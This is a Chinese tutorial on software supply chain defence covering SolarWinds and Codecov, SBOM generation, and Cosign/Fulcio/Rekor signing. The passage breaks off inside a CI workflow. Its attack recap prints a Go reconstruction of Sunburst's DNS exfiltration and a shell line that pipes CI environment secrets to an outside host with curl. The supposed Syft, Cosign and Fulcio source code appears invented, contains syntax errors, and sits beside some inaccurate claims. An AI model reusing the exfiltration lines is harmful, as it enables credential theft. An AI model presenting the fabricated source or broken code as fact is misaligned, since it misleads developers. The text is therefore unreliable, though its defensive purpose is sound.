软件供应链安全:SBOM 与签名验证
从 SolarWinds 到 Log4Shell,软件供应链攻击已成为数字化时代的最大威胁。本文深入解析软件物料清单(SBOM)与代码签名验证的实战方案,通过 Sigstore/Cosign 源码分析与真实攻击案例,构建可落地的软件供应链防护体系。
一、软件供应链:攻击面与威胁模型
1.1 经典攻击案例复盘
软件供应链攻击的核心特征是**"攻击上游,污染下游"**。攻击者通过渗透软件构建流程、依赖库托管平台或CI/CD系统,在合法软件中植入恶意代码,最终感染成千上万的终端用户。
SolarWinds 供应链攻击(2020) :攻击者入侵 SolarWinds Orion 软件的构建系统,在更新包中植入后门代码 Sunburst。该恶意代码潜伏在 SolarWinds.BusinessLayer.dll 中,通过DNS隧道与C2服务器通信,影响全球超30,000个组织。
go
// SolarWinds Orion 后门代码简化分析(反编译逻辑)
// 文件路径: SolarWinds.BusinessLayer.dll
// 版本: 2020.2.1 HF 2
type SunburstBackdoor struct {
// 睡眠时间: randomized between 12-21 days to evade detection
SleepDuration time.Duration
// C2域名:通过DGA算法生成的子域名
C2Domain string
// 加密密钥:用于HTTP通信的AES密钥
EncryptionKey []byte
}
// 恶意代码激活条件
func (b *SunburstBackdoor) shouldActivate() bool {
// 检查是否为测试环境/沙箱
if b.isSandbox() {
return false
}
// 时间延迟:安装后12-21天激活
if time.Since(b.InstallTime) < b.SleepDuration {
return false
}
return true
}
// DNS隧道通信协议
func (b *SunburstBackdoor) exfiltrateData(data []byte) error {
// 将数据编码为DNS子域名格式
encoded := base32.StdEncoding.EncodeToString(data)
// 构造恶意域名:avsvmcloud[.]com 的子域名
domain := fmt.Sprintf("%s.%s", encoded[:63], b.C2Domain)
// 执行DNS查询,将数据外带
_, err := net.LookupHost(domain)
return err
}
Codecov 供应链攻击(2021):攻击者窃取 Codecov 的 Docker 镜像签名凭证,在 Bash 上传脚本中添加恶意代码,窃取 CI 环境中的环境变量(包括 AWS/GCP 凭证、GitHub Token 等)。
bash
# 受感染的 codecov uploader 脚本片段
# 文件路径: codecov/bash
# 版本: v7.0.0 - v9.0.0
# 恶意代码插入点(第50-75行)
if [ -n "${CI}" ] || [ -n "${TRAVIS}" ]; then # 检测CI环境
# 提取所有环境变量(包含敏感凭证)
env | curl -X POST -d @- https://codecov[.]io/env/v1/
fi
# 正常的上传逻辑继续执行,掩盖恶意行为
# ...
1.2 软件供应链攻击面分类
软件供应链攻击面
源代码阶段
构建依赖阶段
CI/CD阶段
分发存储阶段
部署运行阶段
Git仓库入侵
恶意Commit注入
代码审查绕过
恶意依赖包
依赖混淆攻击
Transitive依赖漏洞
CI/CD凭证泄露
构建脚本篡改
Worker容器逃逸
镜像仓库劫持
包管理器劫持
CDN投毒
运行时注入
动态库劫持
配置篡改
关键技术术语:
- Direct Dependencies(直接依赖) :项目
go.mod/package.json中显式声明的依赖包 - Transitive Dependencies(传递依赖):直接依赖的依赖项,形成依赖树。例如项目依赖 A,A 依赖 B 和 C,则 B 和 C 是传递依赖
- Dependency Confusion(依赖混淆):攻击者发布与私有包同名的公共包,利用包管理器优先级获取恶意代码
- Typosquatting(域名欺骗) :发布与流行包名称相似的恶意包(如
react-nativvsreact-native)
1.3 威胁建模:STRIDE 方法论
| 威胁类型 | 描述 | 供应链场景示例 | 防护措施 |
|---|---|---|---|
| Spoofing(伪装) | 攻击者冒充合法来源 | 攻击者发布冒充官方的恶意 Docker 镜像 | 镜像签名验证、可信仓库 |
| Tampering(篡改) | 未经授权修改代码/数据 | 攻击者修改构建产物植入后门 | 代码签名、SBOM 校验 |
| Repudiation(抵赖) | 否认操作行为 | 开发者抵赖泄露密钥的行为 | 审计日志、证书绑定 |
| Information Disclosure(信息泄露) | 暴露敏感信息 | CI 日志泄露 AWS 密钥 | 密钥管理、日志脱敏 |
| Denial of Service(拒绝服务) | 破坏服务可用性 | 依赖包突然下线导致构建失败 | 依赖锁定、私有镜像 |
| Elevation of Privilege(权限提升) | 获得未授权权限 | 恶意依赖包在安装时执行提权脚本 | 沙箱构建、最小权限 |
二、软件物料清单(SBOM):透明度基石
2.1 SBOM 标准深度对比
SBOM(Software Bill of Materials)是软件成分的正式清单,记录了所有组件及其层级关系、许可证、版本等信息。当前主流标准包括 SPDX 、CycloneDX 和 SWID。
技术对比表
| 特性 | SPDX 2.3 | CycloneDX 1.4 | SWID Tags |
|---|---|---|---|
| 维护组织 | Linux Foundation | OWASP | ISO/IEC 19770-2 |
| 核心格式 | JSON/YAML/XML | JSON/XML/XML | XML |
| 依赖关系图 | ❌ 仅支持列表 | ✅ 支持完整依赖树 | ❌ 仅单层 |
| 漏洞字段 | ⚠️ 通过 externalRef 扩展 | ✅ 原生支持 vulnerability/bom | ❌ 不支持 |
| 许可证表达式 | ✅ 支持 SPDX License Expression | ⚠️ 仅简单字符串 | ⚠️ 仅简单字符串 |
| 签名支持 | ✅ 原生嵌入签名 | ⚠️ 需外部独立签名 | ✅ 原生支持 XML Signature |
| 文件级粒度 | ✅ 支持文件哈希列表 | ✅ 支持文件哈希列表 | ❌ 仅组件级 |
| 适用场景 | 合规性审计、许可证管理 | DevSecOps、漏洞扫描 | 软件资产管理 |
| 工具生态 | SPDX Tools, Microsoft SBOM | CycloneDX CLI, Dependency-Track | Windows Tag Tools |
推荐策略 :新项目优先选择 CycloneDX(安全特性丰富),合规要求严格的选择 SPDX(法律认可度高)。
2.2 生成 SBOM:Syft vs. Trivy 源码分析
工具对比
| 功能 | Syft (v1.12.0) | Trivy (v0.50.0) |
|---|---|---|
| 扫描目标 | 容器镜像、文件系统、根文件系统 | 容器镜像、文件系统、Git 仓库、Kubernetes |
| 支持格式 | SPDX、CycloneDX、JSON | CycloneDX、SPDX、JSON、Table |
| 性能 | 快速(Go编写,并发扫描) | 中等(支持分布式扫描) |
| 漏洞数据库 | ❌ 不包含 | ✅ 集成 CVE/Advisory DB |
| 语言生态 | Go、Python、Java、Ruby、JavaScript、Rust、.NET、PHP、Swift | 更全面(包括Dubbo、Haskell等) |
| 架构 | 模块化 Cataloger 系统 | Plugin 架构,支持扩展 |
Syft 源码架构分析
Syft 的核心是 Cataloger 系统,通过识别文件模式语言特征来提取包信息。
go
// 源码路径: github.com/anchore/syft/syft/cataloger/cataloger.go
// 版本: v1.12.0
// Cataloger 接口定义:所有语言扫描器必须实现此接口
type Cataloger interface {
// Name 返回 Cataloger 名称(如 "go-cataloger", "python-cataloger")
Name() string
// SelectFiles 根据文件路径/类型决定是否需要扫描该文件
// 返回的 ResolvedFile 会传递给 Catalog 方法
SelectFiles(selection FileSelection) (ResolvedFiles, error)
// Catalog 执行实际的包解析
Catalog(resolver source.FileResolver) ([]Package, error)
}
// Go 语言 Cataloger 实现示例
type GoCataloger struct {
// 配置项
UseBuildEngine bool // 是否使用 go build 命令获取精确依赖
}
// SelectFiles: 筛选 go.mod 和 go.sum 文件
func (g *GoCataloger) SelectFiles(selection source.FileSelection) ([]source.Location, error) {
files, err := selection.FilesByGlob("**/go.mod")
if err != nil {
return nil, fmt.Errorf("failed to find go.mod files: %w", err)
}
return files, nil
}
// Catalog: 解析 go.mod/sum 提取依赖
func (g *GoCataloger Catalog(resolver source.FileResolver) ([]Package, error) {
var packages []Package
// 1. 定位 go.mod 文件
locations, err := g.SelectFiles(resolver)
if err != nil {
return nil, err
}
// 2. 解析每个 go.mod 文件
for _, location := range locations {
content, err := resolver.FileContents(location)
if err != nil {
return nil, fmt.Errorf("failed to read go.mod: %w", err)
}
modFile, err := mod.Parse(content)
if err != nil {
return nil, fmt.Errorf("failed to parse go.mod: %w", err)
}
// 3. 转换为 Syft Package 对象
for _, require := range modFile.Require {
pkg := Package{
Name: require.Mod.Path,
Version: require.Mod.Version,
Type: pkg.GoModule,
Locations: newLocationSet(location),
// 解析间接依赖标记
Indirect: require.Indirect,
}
packages = append(packages, pkg)
}
}
return packages, nil
}
Trivy 的漏洞关联机制
go
// 源码路径: github.com/aquasecurity/trivy/pkg/vulnerability/vulnsrc.go
// 版本: v0.50.0
// Vulnerability 字段(含SBOM关联)
type Vulnerability struct {
// CVE 编号
ID string `json:",omitempty"`
// 受影响包的版本范围
PkgPath string `json:",omitempty"`
// 严重等级:CRITICAL/HIGH/MEDIUM/LOW
Severity Severity `json:",omitempty"`
// CVSS 评分向量
CvssScore float64 `json:",omitempty"`
// 修复建议的版本号
FixedVersion string `json:",omitempty"`
// 关联的 SBOM 引用(SPDX ID / CycloneDX bom-ref)
SBOMRef string `json:",omitempty"`
}
// 漏洞匹配算法:版本范围判定
func (v *Vulnerability) Affects(pkg *Package) bool {
// 1. 提取包版本
version := pkg.Version
// 2. 解析 Vulnerability 的 VersionConstraint
// 格式: ">= 1.2.3, < 2.0.0"
constraint, err := semver.NewConstraint(v.VersionConstraint)
if err != nil {
return false
}
// 3. 解析包版本
sem, err := semver.NewVersion(version)
if err != nil {
return false
}
// 4. 执行版本匹配
return constraint.Check(sem)
}
2.3 实战:生成多格式 SBOM
环境准备
bash
# 安装 Syft 和 Trivy
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
curl -sSfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local-bin
# 创建示例 Go 项目
mkdir -p /tmp/sbom-demo && cd /tmp/sbom-demo
go mod init example.com/sbom-demo
# 添加依赖
go get github.com/gin-gonic/gin@v1.10.0
go get github.com/golang-jwt/jwt/v5@v5.2.0
生成 SPDX 格式 SBOM
bash
# Syft 扫描当前目录,生成 SPDX JSON
syft . -o spdx-json > sbom.spdx.json
# SPDX JSON 结构示例
cat sbom.spdx.json | jq '{
spdxVersion: .spdxVersion,
dataLicense: .dataLicense,
name: .name,
packages: [.packages[] | {
name: .name,
versionInfo: .versionInfo,
licenseConcluded: .licenseConcluded,
externalRefs: [.externalRefs[] | select(.referenceCategory == "PACKAGE-MANAGER") | {
type: .referenceType,
locator: .referenceLocator
}]
}]
}'
输出示例:
json
{
"spdxVersion": "SPDX-2.3",
"dataLicense": "CC0-1.0",
"name": "sbom-demo",
"packages": [
{
"name": "github.com/gin-gonic/gin",
"versionInfo": "v1.10.0",
"licenseConcluded": "MIT",
"externalRefs": [
{
"type": "purl",
"locator": "pkg:golang/github.com/gin-gonic/gin@v1.10.0"
}
]
},
{
"name": "github.com/golang-jwt/jwt/v5",
"versionInfo": "v5.2.0",
"licenseConcluded": "MIT",
"externalRefs": [
{
"type": "purl",
"locator": "pkg:golang/github.com/golang-jwt/jwt/v5@v5.2.0"
}
]
}
]
}
生成 CycloneDX 格式 SBOM
bash
# Trivy 生成 CycloneDX v1.4 JSON
trivy image --format cyclonedx --output sbom.cdx.json alpine:3.19
# CycloneDX 核心字段
cat sbom.cdx.json | jq '{
specVersion: .specVersion,
bomFormat: .bomFormat,
metadata: .metadata,
components: [.components[] | {
group: .group,
name: .name,
version: .version,
purl: .purl,
licenses: .licenses,
cpe: .cpe
}],
dependencies: .dependencies
}'
Go 项目完整 SBOM 生成脚本
bash
#!/bin/bash
# 文件路径: scripts/generate-sbom.sh
# 版本: 1.0.0
set -euo pipefail
PROJECT_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
OUTPUT_DIR="${PROJECT_ROOT}/sbom"
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
# 创建输出目录
mkdir -p "${OUTPUT_DIR}"
# 函数:生成 SPDX 格式
generate_spdx() {
echo "📄 Generating SPDX SBOM..."
syft "${PROJECT_ROOT}" \
-o spdx-json \
--file "${OUTPUT_DIR}/sbom-${TIMESTAMP}.spdx.json" \
--file "${OUTPUT_DIR}/sbom-latest.spdx.json"
# 添加构建元数据
jq --arg timestamp "${TIMESTAMP}" \
'.metadata.timestamp = $timestamp' \
"${OUTPUT_DIR}/sbom-latest.spdx.json" \
> "${OUTPUT_DIR}/sbom-tmp.json" \
&& mv "${OUTPUT_DIR}/sbom-tmp.json" "${OUTPUT_DIR}/sbom-latest.spdx.json"
}
# 函数:生成 CycloneDX 格式
generate_cyclonedx() {
echo "🌀 Generating CycloneDX SBOM..."
syft "${PROJECT_ROOT}" \
-o cyclonedx-json \
--file "${OUTPUT_DIR}/sbom-${TIMESTAMP}.cdx.json" \
--file "${OUTPUT_DIR}/sbom-latest.cdx.json"
}
# 函数:生成表格摘要
generate_summary() {
echo "📊 Generating dependency summary..."
syft "${PROJECT_ROOT}" -o table > "${OUTPUT_DIR}/dependencies.txt"
}
# 主执行流程
generate_spdx
generate_cyclonedx
generate_summary
# 计算文件哈希(用于签名)
cd "${OUTPUT_DIR}"
sha256sum sbom-latest.* | tee sbom.checksums.txt
echo "✅ SBOM generation complete!"
echo " SPDX: ${OUTPUT_DIR}/sbom-latest.spdx.json"
echo " CycloneDX: ${OUTPUT_DIR}/sbom-latest.cdx.json"
2.4 SBOM 签名与验证
使用 Cosign 签名 SBOM
bash
# 生成 SBOM(SPDX格式)
syft . -o spdx-json > sbom.spdx.json
# 使用 Cosign 签名 SBOM
cosign sign-blob sbom.spdx.json \
--sbom \
--output-signature sbom.spdx.json.sig \
--output-certificate sbom.spdx.json.pem
# 验证签名
cosign verify-blob sbom.spdx.json \
--signature sbom.spdx.json.sig \
--certificate sbom.spdx.json.pem
Sigstore 集成:从签名到透明日志
bash
# 使用 Sigstore 签名并上传到 Rekor(透明日志)
cosign sign-blob sbom.spdx.json \
--sbom \
--output-signature sbom.spdx.json.sig \
--output-certificate sbom.spdx.json.pem
# 获取 Rekor 日志条目
LOG_ENTRY=$(cosign triangulate sbom.spdx.json --signature sbom.spdx.json.sig)
echo "📝 Rekor Log Entry: ${LOG_ENTRY}"
# 从 Rekor 验证
cosign verify-blob sbom.spdx.json \
--signature sbom.spdx.json.sig \
--certificate sbom.spdx.json.pem \
--rekor-url "https://rekor.sigstore.dev"
三、代码签名:Cosign 源码深度剖析
3.1 Cosign 架构与工作流程
Cosign 是 Sigstore 项目的一部分,专门用于容器镜像和任意文件的签名验证。其核心架构包括:
Fulcio证书颁发 Rekor透明日志 KMS/密钥管理 Cosign CLI 开发者 Fulcio证书颁发 Rekor透明日志 KMS/密钥管理 Cosign CLI 开发者 执行签名命令 请求签名证书 验证OIDC身份 返回X.509证书 使用私钥签名 返回签名 提交签名到透明日志 返回Log Entry 签名完成(含证据)
核心模块源码分析
go
// 源码路径: github.com/sigstore/cosign/pkg/cosign/sign.go
// 版本: v2.2.4
// SignCmd: 签名命令的核心逻辑
func SignCmd(ctx context.Context, ko KeyOpts, payload []byte, certChain, bundle bool) ([]byte, []byte, error) {
// 1. 准备签名器(从KMS、本地文件或Fulcio获取)
sv, err := signerFromKeyOpts(ctx, ko)
if err != nil {
return nil, nil, fmt.Errorf("failed to create signer: %w", err)
}
// 2. 生成签名(使用ECDSA/PSS/Ed25519算法)
sig, err := sv.Sign(ctx bytes.NewReader(payload))
if err != nil {
return nil, nil, fmt.Errorf("failed to sign: %w", err)
}
// 3. 构造签名Payload(包含签名和证书)
// 格式: base64(Signature) || base64(Certificate)
signatureBytes := sig.Signature
certificateBytes := sv.Cert() // 从Fulcio获取的X.509证书
payloadBytes := append(signatureBytes, certificateBytes...)
// 4. 提交到Rekor透明日志(如果启用)
if bundle {
entry, err := rekorUpload(ctx, payload, signatureBytes, certificateBytes)
if err != nil {
return nil, nil, fmt.Errorf("failed to upload to rekor: %w", err)
}
// 将Rekor Entry嵌入到Bundle中
bundle := createBundle(entry)
return payloadBytes, bundle, nil
}
return payloadBytes, nil, nil
}
// 签名器接口
type SignerVerifier interface {
// Sign: 使用私钥对消息进行签名
Sign(message io.Reader) ([]byte, error)
// Verify: 使用公钥验证签名
Verify(signature, message io.Reader) error
// PublicKey: 返回PEM编码的公钥
PublicKey() (crypto.PublicKey, error)
}
Rekor 集成:透明日志机制
go
// 源码路径: github.com/sigstore/cosign/pkg/cosign/rekor.go
// 版本: v2.2.4
// rekorUpload: 提交签名到Rekor透明日志
func rekorUpload(ctx context.Context, data, sig, cert []byte) (*models.LogEntryAnon, error) {
// 1. 创建Rekor客户端
rClient, err := rekor.NewClient(ko.RekorURL)
if err != nil {
return nil, fmt.Errorf("failed to create rekor client: %w", err)
}
// 2. 构造签名条目(SignedEntry)
// 格式:rekord/v2
entry := createRekorEntry(data, sig, cert)
// 3. 提交到Rekor
resp, err := rClient.Tlog.CreateLogEntry(ctx, entry)
if err != nil {
return nil, fmt.Errorf("failed to create log entry: %w", err)
}
// 4. 返回Log Entry(包含UUID和一致性证明)
return resp, nil
}
// createRekorEntry: 构造Rekor条目
func createRekorEntry(data, sig, cert []byte) *models.Rekord {
// 计算数据哈希(SHA-256)
hasher := sha256.New()
hasher.Write(data)
dataHash := hasher.Sum(nil)
// Base64编码
dataB64 := base64.StdEncoding.EncodeToString(data)
sigB64 := base64.StdEncoding.EncodeToString(sig)
certB64 := base64.StdEncoding.EncodeToString(cert)
// 构造Rekord对象
return &models.Rekord{
APIVersion: swag.String("0.0.1"),
Spec: models.RekordSpec{
Data: models.RekordData{
Content: swag.String(dataB64),
Hash: models.RekordDataHash{
Algorithm: swag.String("sha256"),
Value: swag.String(hex.EncodeToString(dataHash)),
},
},
Signature: models.RekordSignature{
Content: swag.String(sigB64),
PublicKey: swag.String(certB64),
},
},
}
}
3.2 密钥管理:本地 vs. KMS 对比
密钥管理方案对比
| 方案 | 安全性 | 可用性 | 成本 | 适用场景 |
|---|---|---|---|---|
| 本地文件 | ⚠️ 低(密钥明文存储) | ✅ 高(离线可用) | 免费 | 开发/测试环境 |
| KMS(AWS/GCP/Azure) | ✅ 高(HSM保护) | ⚠️ 中(需网络) | 按调用量付费 | 生产环境 |
| HashiCorp Vault | ✅ 高(支持加密和审计) | ✅ 高(支持离线模式) | 自部署成本 | 企业级部署 |
| Fulcio(Sigstore) | ✅ 高(基于OIDC,无长期密钥) | ⚠️ 中(需OIDC Provider) | 免费 | 开源项目/CI/CD |
本地密钥生成与使用
bash
# 生成Cosign密钥对
cosign generate-key-pair
# 输出文件:
# cosign.key - 私钥(加密存储,需密码保护)
# cosign.pub - 公钥(用于验证)
# 设置环境变量(避免交互式输入密码)
export COSIGN_PASSWORD="your-secure-password"
# 使用本地密钥签名
cosign sign --key cosign.key <IMAGE_DIGEST>
# 验证签名
cosign verify --key cosign.pub <IMAGE_DIGEST>
AWS KMS 集成
bash
# 创建AWS KMS密钥
aws kms create-key \
--description "Cosign Signing Key" \
--key-usage SIGN_VERIFY \
--customer-master-key-spec ECC_NIST_P256
# 获取密钥ARN
KEY_ARN="arn:aws:kms:us-east-1:123456789012:key/11111111-2222-3333-4444-555555555555"
# 配置AWS凭证
export AWS_PROFILE="your-profile"
# 使用KMS密钥签名
cosign sign --aws-kms-key-id ${KEY_ARN} <IMAGE_DIGEST>
# 验证签名
cosign verify --aws-kms-key-id ${KEY_ARN} <IMAGE_DIGEST>
HashiCorp Vault 集成
bash
# 配置Vault环境变量
export VAULT_ADDR="https://vault.example.com"
export VAULT_TOKEN="your-vault-token"
# 在Vault中启用 transit 引擎(支持签名验证)
vault secrets enable transit
# 创建签名密钥
vault write -f transit/keys/cosign-key
# 使用Vault密钥签名
cosign sign \
--key vault://cosign-key \
<IMAGE_DIGEST>
# 验证签名
cosign verify \
--key vault://cosign-key \
<IMAGE_DIGEST>
3.3 Fulcio:无密钥签名革命
Fulcio 是 Sigstore 的证书颁发服务,基于 OIDC(OpenID Connect) 身份颁发短期有效的代码签名证书。核心思想是**"用身份代替密钥"**。
Fulcio 工作原理
go
// 源码路径: github.com/sigstore/fulcio/pkg/ca/ca.go
// 版本: v1.4.4
// CertificateAuthority: Fulcio CA核心结构
type CertificateAuthority struct {
// 根证书(用于签发用户证书)
RootCA *x509.Certificate
// 私钥(用于签名)
PrivateKey crypto.PrivateKey
// OIDC配置(支持的Provider)
OIDCConfig map[string]*OIDCProvider
}
// SignCertificate: 根据OIDC Token签发X.509证书
func (ca *CertificateAuthority) SignCertificate(ctx context.Context, oidcToken string, pubKey crypto.PublicKey) (*x509.Certificate, error) {
// 1. 验证OIDC Token
claims, err := ca.validateOIDCToken(oidcToken)
if err != nil {
return nil, fmt.Errorf("invalid OIDC token: %w", err)
}
// 2. 提取身份信息
// 声明的Issuer: https://accounts.google.com
// 声明的Email: developer@example.com
issuer := claims.Issuer
email := claims.Email
// 3. 构造证书模板
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{
CommonName: email,
Organization: []string{issuer},
},
// 证书有效期:仅20分钟(短期证书)
NotBefore: time.Now(),
NotAfter: time.Now().Add(20 * time.Minute),
// 扩展字段:OIDC身份嵌入
ExtraExtensions: []pkix.Extension{
{
Id: []int{1, 3, 6, 1, 4, 1, 57264, 1, 1}, // OIDC Issuer
Critical: false,
Value: []byte(issuer),
},
{
Id: []int{1, 3, 6, 1, 4, 1, 57264, 1, 2}, // OIDC Email
Critical: false,
Value: []byte(email),
},
},
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
// 4. 使用CA私钥签发证书
certBytes, err := x509.CreateCertificate(
rand.Reader,
template,
ca.RootCA,
pubKey,
ca.PrivateKey,
)
if err != nil {
return nil, fmt.Errorf("failed to create certificate: %w", err)
}
// 5. 解析并返回证书
cert, err := x509.ParseCertificate(certBytes)
if err != nil {
return nil, fmt.Errorf("failed to parse certificate: %w", err)
}
return cert, nil
}
使用 Fulcio 签名实战
bash
# 1. 获取OIDC Token(通过GitHub Actions)
# GitHub Actions自动提供 OIDC Token
export GITHUB_TOKEN=${{ secrets.GITHUB_TOKEN }}
# 2. 使用Cosign和Fulcio签名(无密钥模式)
cosign sign \
--identity-token ${GITHUB_TOKEN} \
<IMAGE_DIGEST>
# 3. 验证签名(检查Issuer和Email)
cosign verify \
--certificate-identity https://github.com/myorg/myrepo/.github/workflows/ci.yml@refs/heads/main \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
<IMAGE_DIGEST>
Fulcio 证书解析示例
bash
# 提取Cosign签名中的证书
cosign verify <IMAGE_DIGEST> --certificate-identity "*" --output-certificate cert.pem
# 查看证书详情
openssl x509 -in cert.pem -text -noout
# 关键字段输出:
# Certificate:
# Data:
# Version: 3 (0x2)
# Serial Number: 1234567890
# Signature Algorithm: ecdsa-with-SHA256
# Issuer: C=US, O=Sigstore, CN=sigstore-intermediate
# Validity
# Not Before: Jan 1 00:00:00 2024 GMT
# Not After : Jan 1 00:20:00 2024 GMT # 仅20分钟有效期!
# Subject: CN=developer@example.com
# X509v3 extensions:
# 1.3.6.1.4.1.57264.1.1: # OIDC Issuer
# https://token.actions.githubusercontent.com
# 1.3.6.1.4.1.57264.1.2: # OIDC Email
# developer@example.com
3.4 Rekor:透明日志与不可篡改证明
Rekor 是 签名透明日志(Transparency Log),确保所有签名都被公开记录且不可篡改。任何人都可以查询和验证签名历史。
Rekor 数据结构
go
// 源码路径: github.com/sigstore/rekor/pkg/generated/models/entry.go
// 版本: v1.3.6
// LogEntryAnon: Rekor日志条目
type LogEntryAnon struct {
// UUID: 条目的唯一标识符
UUID string `json:"uuid"`
// Body: 实际的签名数据
Body interface{} `json:"body"`
// IntegratedTime: 集成时间戳
IntegratedTime int64 `json:"integratedTime"`
// LogID: 日志的公钥标识(用于验证一致性)
LogID string `json:"logID"`
// LogIndex: 条目在日志中的位置
LogIndex int64 `json:"logIndex"`
// Verification: 包含Merkle证明和根哈希
Verification *LogEntryVerification `json:"verification"`
}
// LogEntryVerification: 一致性证明
type LogEntryVerification struct {
// InclusionProof: Merkle证明
InclusionProof *InclusionProof `json:"inclusionProof"`
// SignedEntryTimestamp: Rekor服务器签名的时间戳
SignedEntryTimestamp []byte `json:"signedEntryTimestamp"`
}
// InclusionProof: Merkle树证明
type InclusionProof struct {
// LogSize: 当前日志大小
LogSize int64 `json:"logSize"`
// RootHash: Merkle树的根哈希
RootHash string `json:"rootHash"`
// TreeSize: 树的大小
TreeSize int64 `json:"treeSize"`
// Hashes: 从叶子到根的哈希路径
Hashes []string `json:"hashes"`
}
Rekor 查询与验证
bash
# 1. 查询镜像的所有签名条目
rekor-cli search --sha256 <IMAGE_DIGEST> --type sha256
# 输出:
# Found 2 entries:
# - UUID: 11111111-2222-3333-4444-555555555555
# Index: 12345678
# Timestamp: 2024-01-01 00:00:00 +0000 UTC
# - UUID: 22222222-3333-4444-5555-666666666666
# Index: 12345679
# Timestamp: 2024-01-02 00:00:00 +0000 UTC
# 2. 获取特定UUID的完整条目
rekor-cli get --uuid 11111111-2222-3333-4444-555555555555 --format json > entry.json
# 3. 验证Merkle证明
# Rekor CLI会自动验证:
# - 叶子哈希是否正确
# - Merkle路径是否通向根哈希
# - 根哈希是否由Rekor公钥签名
rekor-cli verify --uuid 11111111-2222-3333-4444-555555555555
# 4. 使用Cosign进行端到端验证(自动查询Rekor)
cosign verify \
--certificate-identity "https://github.com/myorg/myrepo/.github/workflows/ci.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
<IMAGE_DIGEST>
# Cosign会自动:
# - 从签名中提取证书
# - 查询Rekor获取Log Entry
# - 验证证书签名和Rekor证明
# - 检查身份和Issuer是否匹配
Rekor 一致性检查
bash
# 检查整个日志的完整性(防止历史被篡改)
rekor-cli loginfo --public-key https://rekor.sigstore.dev/api/v1/log/publicKey
# 输出:
# Tree Size: 1000000
# Root Hash: a1b2c3d4e5f6...
# Signed Tree Head: MSTEvA...
# Signature: ECDSA(secp256r1) SHA256Digest=...
# 验证特定时间点的日志状态
rekor-cli logproof --tree-size 1000000 --root-hash a1b2c3d4e5f6...
四、实战:端到端软件供应链防护方案
4.1 架构设计
是
否
否
是
开发者提交代码
CI/CD流水线
生成SBOM
Syft/Trivy
漏洞扫描
Trivy/Grype
存在高危漏洞?
构建失败
发送告警
构建镜像
镜像签名
Cosign+KMS
提交到Rekor
透明日志
推送到镜像仓库
部署到K8s
准入控制器验证
Kyverno/Policy Controller
签名验证通过?
拒绝部署
部署成功
4.2 GitHub Actions CI/CD 完整配置
yaml
# 文件路径: .github/workflows/ci-cd.yml
# 版本: 1.0.0
name: Software Supply Chain Security CI/CD
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_dispatch: # 支持手动触发
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
permissions:
contents: read
packages: write
id-token: write # 请求OIDC Token(用于Fulcio)
jobs:
# Job 1: 生成SBOM并扫描漏洞
sbom-scan:
name: Generate SBOM & Vulnerability Scan
runs-on: ubuntu-latest
outputs:
sbom-path: sbom/sbom.cdx.json
vuln-report: vuln-report.json
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.22'
cache: true
- name: Download dependencies
run: go mod download
- name: Generate SBOM (CycloneDX)
id: sbom
run: |
mkdir -p sbom
# 使用Syft生成CycloneDX格式SBOM
syft . -o cyclonedx-json --file sbom/sbom.cdx.json
# 输出摘要
echo "✅ SBOM generated with $(jq '.components | length' sbom/sbom.cdx.json) components"
env:
# Syft需要知道Go模块路径
GOFLAGS: "-mod=readonly"
- name: Scan vulnerabilities with Trivy
id: trivy
run: |
# 扫描文件系统(包括Go依赖)
trivy fs --format json --output vuln-report.json .
# 统计漏洞数量
HIGH=$(jq '.Results[].Vulnerabilities | map(select(.Severity == "HIGH")) | length' vuln-report.json | awk '{s+=$1} END {print s}')
CRITICAL=$(jq '.Results[].Vulnerabilities | map(select(.Severity == "CRITICAL")) | length' vuln-report.json | awk '{s+=$1} END {print s}')
echo "HIGH: $HIGH, CRITICAL: $CRITICAL"
# 将结果保存到环境变量
echo "HIGH_COUNT=$HIGH" >> $GITHUB_ENV
echo "CRITICAL_COUNT=$CRITICAL" >> $GITHUB_ENV
- name: Upload SBOM as artifact
uses: actions/upload-artifact@v4
with:
name: sbom
path: sbom/sbom.cdx.json
retention-days: 90
- name: Upload vulnerability report
uses: actions/upload-artifact@v4
with:
name: vuln-report
path: vuln-report.json
retention-days: 90
- name: Fail on critical vulnerabilities
run: |
if [ "$CRITICAL_COUNT" -gt 0 ]; then
echo "❌ Found $CRITICAL_COUNT CRITICAL vulnerabilities!"
exit 1
fi
if [ "$HIGH_COUNT" -gt 5 ]; then
echo "⚠️ Found $HIGH_COUNT HIGH vulnerabilities (threshold: 5)"
exit 1
fi
echo "✅ Vulnerability scan passed"
# Job 2: 构建并签名容器镜像
build-and-sign:
name: Build & Sign Container Image
needs: sbom-scan
runs-on: ubuntu-latest
outputs:
image-digest: ${{ steps.build.outputs.digest }}
image-tag: ${{ steps.meta.outputs.tags }}
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Log in to Container Registry
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata for image
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=ref,event=branch
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=sha,prefix={{branch}}-
- name: Build and push Docker image
id: build
uses: docker/build-push-action@v5
with:
context: .
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
# 将SBOM嵌入镜像元数据
annotations: |
org.opencontainers.image.sbom=${{ needs.sbom-scan.outputs.sbom-path }}
- name: Download SBOM artifact
uses: actions/download-artifact@v4
with:
name: sbom
path: sbom
- name: Attach SBOM to image
run: |
# 使用Cosign将SBOM附加到镜像
cosign attach sbom \
